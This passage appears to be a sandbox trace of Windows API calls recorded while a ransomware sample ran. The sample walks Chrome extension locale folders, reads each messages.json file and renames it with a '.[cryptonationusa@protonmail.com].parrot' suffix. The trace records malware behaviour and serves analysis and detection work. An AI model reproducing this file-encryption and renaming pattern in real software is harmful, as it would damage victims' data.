fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.668] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.668] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.669] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.670] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.670] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.670] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x206, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.670] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.670] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.671] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.671] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xee, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xee, lpOverlapped=0x0) returned 1 [0070.671] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.671] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x206, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.671] CloseHandle (hObject=0x28c) returned 1 [0070.672] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c1a8 | out: hHeap=0x5b0000) returned 1 [0070.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79bc500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79bc500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb79bc500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.674] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.674] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.674] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.674] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.680] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x232, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.680] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.680] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.681] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.681] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x11a, lpOverlapped=0x0) returned 1 [0070.681] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.681] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.681] CloseHandle (hObject=0x28c) returned 1 [0070.682] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c330 | out: hHeap=0x5b0000) returned 1 [0070.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da188 | out: hHeap=0x5b0000) returned 1 [0070.688] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79e2660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb79bc500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.688] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.689] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x203, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.689] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.689] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.689] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.690] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xeb, lpOverlapped=0x0) returned 1 [0070.690] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.690] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x203, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.690] CloseHandle (hObject=0x28c) returned 1 [0070.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c4b8 | out: hHeap=0x5b0000) returned 1 [0070.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.692] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.692] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79e2660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.692] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.693] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.693] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.693] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.697] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.698] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.698] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.699] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.699] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd8, lpOverlapped=0x0) returned 1 [0070.699] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.699] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.699] CloseHandle (hObject=0x28c) returned 1 [0070.700] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c640 | out: hHeap=0x5b0000) returned 1 [0070.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.702] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.702] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.702] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.702] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.702] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.702] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.702] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.702] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.702] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.703] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.703] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.704] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd7, lpOverlapped=0x0) returned 1 [0070.704] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.704] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.704] CloseHandle (hObject=0x28c) returned 1 [0070.704] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 